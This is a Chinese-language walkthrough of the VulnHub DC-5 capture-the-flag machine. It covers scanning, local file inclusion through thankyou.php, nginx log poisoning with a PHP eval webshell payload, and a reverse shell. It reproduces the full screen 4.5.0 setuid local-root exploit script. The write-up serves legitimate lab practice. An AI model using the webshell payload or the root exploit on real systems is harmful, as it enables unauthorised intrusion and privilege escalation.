vulnhub dc5

前言

前幾個DC感覺沒什麼新奇(DC2有個繞過rbash,git提權),就放了個5。

一、信息收集

nmap -sn 192.168.1.0/24
nmap -Pn 192.168.1.178

在這裏插入圖片描述然後我腦癱的瘋狂懟111端口。。。轉換思路到80端口
訪問web頁面
掃後臺 footer.php
在這裏插入圖片描述在這裏插入圖片描述刷新一次跟上次不一樣??
在http://192.168.1.178/contact.php提交表單在這裏插入圖片描述包含了footer.php而且刷新的時候footer.php內容會變。那麼可以推測thankyou.php包含了footer.php,且存在文件包含漏洞。
在這裏插入圖片描述可以看到成功包含了index.php。




二、漏洞利用

試試file爲參數,居然嘿嘿,然後brupsuit用上我的大字典,找出路徑爲/var/log/nginx/access.log。
在這裏插入圖片描述在這裏插入圖片描述蕪湖,傳日誌木馬。

/thankyou.php?file=<?php @eval($_REQUEST['webshell'])?>

蟻劍沖沖衝。
在這裏插入圖片描述不是很清楚,爲什麼一句話後面不加分號反而成功,有大佬指點一下嗎?
拿到webshell後,nc反彈shell(蟻劍不穩定)
在這裏插入圖片描述換成交互式吧


python -c "import pty;pty.spawn('/bin/bash')"

``

三、 提權

find / -perm -u=s -type f 2>/dev/null

在這裏插入圖片描述查看一下,發現貌似只能試試screen-4.5.0。
漏洞庫查找漏洞exp
保存爲shell腳本,用蟻劍傳到/var/tmp(權限比較大),然後執行該.sh。成功拿到root權限。
在這裏插入圖片描述漏洞腳本(www.exploit-db.com)


在這裏插入圖片描述`

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
   
   
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
   
   
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章